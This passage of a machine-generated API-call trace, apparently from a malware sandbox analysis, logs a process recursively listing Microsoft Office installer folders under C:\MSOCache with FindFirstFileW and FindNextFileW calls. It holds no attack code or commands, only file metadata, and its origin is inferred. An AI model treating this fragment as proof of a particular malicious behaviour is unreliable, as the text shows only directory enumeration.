ftLastWriteTime.dwLowDateTime=0xd3209120, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x103000, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSMUXMUI.msi", cAlternateFileName="")) returned 1 [0052.283] GetLastError () returned 0x12 [0052.283] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xdcfb7a70, ftCreationTime.dwHighDateTime=0x1d0cbb2, ftLastAccessTime.dwLowDateTime=0xdcfb7a70, ftLastAccessTime.dwHighDateTime=0x1d0cbb2, ftLastWriteTime.dwLowDateTime=0xd3209120, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSMUXMUI.xml", cAlternateFileName="")) returned 1 [0052.283] GetLastError () returned 0x12 [0052.283] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x42508f00, ftCreationTime.dwHighDateTime=0x1d0cbd6, ftLastAccessTime.dwLowDateTime=0x42508f00, ftLastAccessTime.dwHighDateTime=0x1d0cbd6, ftLastWriteTime.dwLowDateTime=0xd32c7800, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x996, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0052.283] GetLastError () returned 0x12 [0052.284] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x42508f00, ftCreationTime.dwHighDateTime=0x1d0cbd6, ftLastAccessTime.dwLowDateTime=0x42508f00, ftLastAccessTime.dwHighDateTime=0x1d0cbd6, ftLastWriteTime.dwLowDateTime=0xd32c7800, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x996, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0052.284] FindClose (in: hFindFile=0x4d8620 | out: hFindFile=0x4d8620) returned 1 [0052.284] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37e0060 | out: hHeap=0xab0000) returned 1 [0052.284] FindNextFileW (in: hFindFile=0x4d5288, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd2589da0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd3209120, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd3209120, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-0115-0409-0000-0000000FF1CE}-C", cAlternateFileName="{9AA2F~1")) returned 1 [0052.284] GetLastError () returned 0x12 [0052.284] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0115-0409-0000-0000000FF1CE}-C\\*" (normalized: "c:\\msocache\\all users\\{90160000-0115-0409-0000-0000000ff1ce}-c\\*"), lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd2589da0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd3209120, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd3209120, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8620 [0052.285] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd2589da0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd3209120, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd3209120, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.285] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2e1e12f0, ftCreationTime.dwHighDateTime=0x1d0ca7d, ftLastAccessTime.dwLowDateTime=0x2e1e12f0, ftLastAccessTime.dwHighDateTime=0x1d0ca7d, ftLastWriteTime.dwLowDateTime=0xd31baf20, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x521b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="branding.xml", cAlternateFileName="")) returned 1 [0052.285] GetLastError () returned 0x12 [0052.285] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x39355420, ftCreationTime.dwHighDateTime=0x1d0cbc0, ftLastAccessTime.dwLowDateTime=0x39355420, ftLastAccessTime.dwHighDateTime=0x1d0cbc0, ftLastWriteTime.dwLowDateTime=0xd27053f0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0xb2a1f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeLR.cab", cAlternateFileName="")) returned 1 [0052.285] GetLastError () returned 0x12 [0052.285] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6cc80650, ftCreationTime.dwHighDateTime=0x1d0cbbd, ftLastAccessTime.dwLowDateTime=0x6cc80650, ftLastAccessTime.dwHighDateTime=0x1d0cbbd, ftLastWriteTime.dwLowDateTime=0xd2646d10, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x3da000, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUI.msi", cAlternateFileName="OFFICE~2.MSI")) returned 1 [0052.285] GetLastError () returned 0x12 [0052.285] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xdbe85560, ftCreationTime.dwHighDateTime=0x1d0cbb5, ftLastAccessTime.dwLowDateTime=0xdbe85560, ftLastAccessTime.dwHighDateTime=0x1d0cbb5, ftLastWriteTime.dwLowDateTime=0xd2622320, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x149b, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUI.xml", cAlternateFileName="OFFICE~2.XML")) returned 1 [0052.285] GetLastError () returned 0x12 [0052.285] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x70035b30, ftCreationTime.dwHighDateTime=0x1d0cbbd, ftLastAccessTime.dwLowDateTime=0x70035b30, ftLastAccessTime.dwHighDateTime=0x1d0cbbd, ftLastWriteTime.dwLowDateTime=0xd2588630, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x103000, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUISet.msi", cAlternateFileName="OFFICE~1.MSI")) returned 1 [0052.285] GetLastError () returned 0x12 [0052.285] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x740ab3a0, ftCreationTime.dwHighDateTime=0x1d0cbb2, ftLastAccessTime.dwLowDateTime=0x740ab3a0, ftLastAccessTime.dwHighDateTime=0x1d0cbb2, ftLastWriteTime.dwLowDateTime=0xd2588630, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x408, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUISet.xml", cAlternateFileName="OFFICE~1.XML")) returned 1 [0052.285] GetLastError () returned 0x12 [0052.286] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7d804480, ftCreationTime.dwHighDateTime=0x1d0cbbd, ftLastAccessTime.dwLowDateTime=0x7d804480, ftLastAccessTime.dwHighDateTime=0x1d0cbbd, ftLastWriteTime.dwLowDateTime=0xd25fb220, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x3d5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="OffSetLR.cab", cAlternateFileName="")) returned 1 [0052.286] GetLastError () returned 0x12 [0052.286] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7bc55fd0, ftCreationTime.dwHighDateTime=0x1d0cb96, ftLastAccessTime.dwLowDateTime=0x7bc55fd0, ftLastAccessTime.dwHighDateTime=0x1d0cb96, ftLastWriteTime.dwLowDateTime=0xd31e2020, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x32ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="osetupui.dll", cAlternateFileName="")) returned 1 [0052.286] GetLastError () returned 0x12 [0052.286] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7752c460, ftCreationTime.dwHighDateTime=0x1d0990a, ftLastAccessTime.dwLowDateTime=0x7752c460, ftLastAccessTime.dwHighDateTime=0x1d0990a, ftLastWriteTime.dwLowDateTime=0xd3209120, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x3906, dwReserved0=0x0, dwReserved1=0x0, cFileName="pss10r.chm", cAlternateFileName="")) returned 1 [0052.286] GetLastError () returned 0x12 [0052.286] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x588655b0, ftCreationTime.dwHighDateTime=0x1d0a41d, ftLastAccessTime.dwLowDateTime=0x588655b0, ftLastAccessTime.dwHighDateTime=0x1d0a41d, ftLastWriteTime.dwLowDateTime=0xd31e2020, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x14366, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup.chm", cAlternateFileName="")) returned 1 [0052.286] GetLastError () returned 0x12 [0052.286] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x41e54a10, ftCreationTime.dwHighDateTime=0x1d0cbd6, ftLastAccessTime.dwLowDateTime=0x41e54a10, ftLastAccessTime.dwHighDateTime=0x1d0cbd6, ftLastWriteTime.dwLowDateTime=0xd3209120, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x2123, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0052.286] GetLastError () returned 0x12 [0052.286] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5746daf0, ftCreationTime.dwHighDateTime=0x1d0cba8, ftLastAccessTime.dwLowDateTime=0x5746daf0, ftLastAccessTime.dwHighDateTime=0x1d0cba8, ftLastWriteTime.dwLowDateTime=0xd31e2020, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShellUI.MST", cAlternateFileName="")) returned 1 [0052.286] GetLastError () returned 0x12 [0052.286] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5746daf0, ftCreationTime.dwHighDateTime=0x1d0cba8, ftLastAccessTime.dwLowDateTime=0x5746daf0, ftLastAccessTime.dwHighDateTime=0x1d0cba8, ftLastWriteTime.dwLowDateTime=0xd31e2020, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShellUI.MST", cAlternateFileName="")) returned 0 [0052.286] FindClose (in: hFindFile=0x4d8620 | out: hFindFile=0x4d8620) returned 1 [0052.287] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37e0060 | out: hHeap=0xab0000) returned 1 [0052.287] FindNextFileW (in: hFindFile=0x4d5288, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xb883f1e0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xb9178720, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xb9178720, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-0116-0409-1000-0000000FF1CE}-C", cAlternateFileName="{90160~1")) returned 1 [0052.287] GetLastError () returned 0x12 [0052.287] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0116-0409-1000-0000000FF1CE}-C\\*" (normalized: "c:\\msocache\\all users\\{90160000-0116-0409-1000-0000000ff1ce}-c\\*"), lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xb883f1e0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xb9178720, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xb9178720, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8620 [0052.690] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xb883f1e0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xb9178720, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xb9178720, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.699] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x75c7a4e0, ftCreationTime.dwHighDateTime=0x1d0cbbd, ftLastAccessTime.dwLowDateTime=0x75c7a4e0, ftLastAccessTime.dwHighDateTime=0x1d0cbbd, ftLastWriteTime.dwLowDateTime=0xb8bd0b10, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x12b000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office64MUI.msi", cAlternateFileName="OFFICE~2.MSI")) returned 1 [0052.703] GetLastError () returned 0x12 [0052.710] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x51246020, ftCreationTime.dwHighDateTime=0x1d0cbb2, ftLastAccessTime.dwLowDateTime=0x51246020, ftLastAccessTime.dwHighDateTime=0x1d0cbb2, ftLastWriteTime.dwLowDateTime=0xb8bd0b10, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x776, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office64MUI.xml", cAlternateFileName="OFFICE~2.XML")) returned 1 [0052.714] GetLastError () returned 0x12 [0052.716] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x74e2c320, ftCreationTime.dwHighDateTime=0x1d0cbbd, ftLastAccessTime.dwLowDateTime=0x74e2c320, ftLastAccessTime.dwHighDateTime=0x1d0cbbd, ftLastWriteTime.dwLowDateTime=0xb8922a80, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x103000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office64MUISet.msi", cAlternateFileName="OFFICE~1.MSI")) returned 1 [0052.719] GetLastError () returned 0x12 [0052.724] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x69bb1570, ftCreationTime.dwHighDateTime=0x1d0cbb2, ftLastAccessTime.dwLowDateTime=0x69bb1570, ftLastAccessTime.dwHighDateTime=0x1d0cbb2, ftLastWriteTime.dwLowDateTime=0xb88643a0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x40c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office64MUISet.xml", cAlternateFileName="OFFICE~1.XML")) returned 1 [0052.728] GetLastError () returned 0x12 [0052.730] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3791b640, ftCreationTime.dwHighDateTime=0x1d0cbc0, ftLastAccessTime.dwLowDateTime=0x3791b640, ftLastAccessTime.dwHighDateTime=0x1d0cbc0, ftLastWriteTime.dwLowDateTime=0xb8d01de0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x1f70a9, dwReserved0=0x0, dwReserved1=0x0, cFileName="OWOW64LR.cab", cAlternateFileName="")) returned 1 [0052.730] GetLastError () returned 0x12 [0052.730] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x42258760, ftCreationTime.dwHighDateTime=0x1d0cbd6, ftLastAccessTime.dwLowDateTime=0x42258760, ftLastAccessTime.dwHighDateTime=0x1d0cbd6, ftLastWriteTime.dwLowDateTime=0xb9178720, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0xc32, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0052.730] GetLastError () returned 0x12 [0052.730] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x42258760, ftCreationTime.dwHighDateTime=0x1d0cbd6, ftLastAccessTime.dwLowDateTime=0x42258760, ftLastAccessTime.dwHighDateTime=0x1d0cbd6, ftLastWriteTime.dwLowDateTime=0xb9178720, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0xc32, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0052.730] FindClose (in: hFindFile=0x4d8620 | out: hFindFile=0x4d8620) returned 1 [0052.730] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37e0060 | out: hHeap=0xab0000) returned 1 [0052.730] FindNextFileW (in: hFindFile=0x4d5288, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd091f700, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd16f56e0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd16f56e0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-0117-0409-0000-0000000FF1CE}-C", cAlternateFileName="{90160~4")) returned 1 [0052.730] GetLastError () returned 0x12 [0052.730] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0117-0409-0000-0000000FF1CE}-C\\*" (normalized: "c:\\msocache\\all users\\{90160000-0117-0409-0000-0000000ff1ce}-c\\*"), lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd091f700, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd16f56e0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd16f56e0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8620 [0052.796] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd091f700, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd16f56e0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd16f56e0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.806] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xd0945860, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd16cf580, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd16cf580, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Access.en-us", cAlternateFileName="ACCESS~1.EN-")) returned 1 [0052.811] GetLastError () returned 0x12 [0052.812] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0117-0409-0000-0000000FF1CE}-C\\Access.en-us\\*" (normalized: "c:\\msocache\\all users\\{90160000-0117-0409-0000-0000000ff1ce}-c\\access.en-us\\*"), lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xd0945860, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd16cf580, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd16cf580, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8660 [0052.936] FindNextFileW (in: hFindFile=0x4d8660, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xd0945860, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd16cf580, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd16cf580, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.942] FindNextFileW (in: hFindFile=0x4d8660, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x109b3910, ftCreationTime.dwHighDateTime=0x1d0cbbd, ftLastAccessTime.dwLowDateTime=0x109b3910, ftLastAccessTime.dwHighDateTime=0x1d0cbbd, ftLastWriteTime.dwLowDateTime=0xd09440f0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x249000, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessMUI.msi", cAlternateFileName="ACCESS~1.MSI")) returned 1 [0052.942] GetLastError () returned 0x12 [0052.942] FindNextFileW (in: hFindFile=0x4d8660, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd03ec950, ftCreationTime.dwHighDateTime=0x1d0cbb1, ftLastAccessTime.dwLowDateTime=0xd03ec950, ftLastAccessTime.dwHighDateTime=0x1d0cbb1, ftLastWriteTime.dwLowDateTime=0xd09440f0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x5a9, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessMUI.xml", cAlternateFileName="ACCESS~1.XML")) returned 1 [0052.942] GetLastError () returned 0x12 [0052.942] FindNextFileW (in: hFindFile=0x4d8660, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb194ac00, ftCreationTime.dwHighDateTime=0x1d0cbc9, ftLastAccessTime.dwLowDateTime=0xb194ac00, ftLastAccessTime.dwHighDateTime=0x1d0cbc9, ftLastWriteTime.dwLowDateTime=0xd098fbe0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x525e2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccLR.cab", cAlternateFileName="")) returned 1 [0052.942] GetLastError () returned 0x12 [0052.943] FindNextFileW (in: hFindFile=0x4d8660, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2e1e12f0, ftCreationTime.dwHighDateTime=0x1d0ca7d, ftLastAccessTime.dwLowDateTime=0x2e1e12f0, ftLastAccessTime.dwHighDateTime=0x1d0ca7d, ftLastWriteTime.dwLowDateTime=0xd16cedb0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x521b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="branding.xml", cAlternateFileName="")) returned 1 [0052.943] GetLastError () returned 0x12 [0052.943] FindNextFileW (in: hFindFile=0x4d8660, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2e1e12f0, ftCreationTime.dwHighDateTime=0x1d0ca7d, ftLastAccessTime.dwLowDateTime=0x2e1e12f0, ftLastAccessTime.dwHighDateTime=0x1d0ca7d, ftLastWriteTime.dwLowDateTime=0xd16cedb0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x521b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="branding.xml", cAlternateFileName="")) returned 0 [0052.943] FindClose (in: hFindFile=0x4d8660 | out: hFindFile=0x4d8660) returned 1 [0052.943] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37f0068 | out: hHeap=0xab0000) returned 1 [0052.944] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x910d560, ftCreationTime.dwHighDateTime=0x1d0cbbd, ftLastAccessTime.dwLowDateTime=0x910d560, ftLastAccessTime.dwHighDateTime=0x1d0cbbd, ftLastWriteTime.dwLowDateTime=0xd091f700, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x103000, 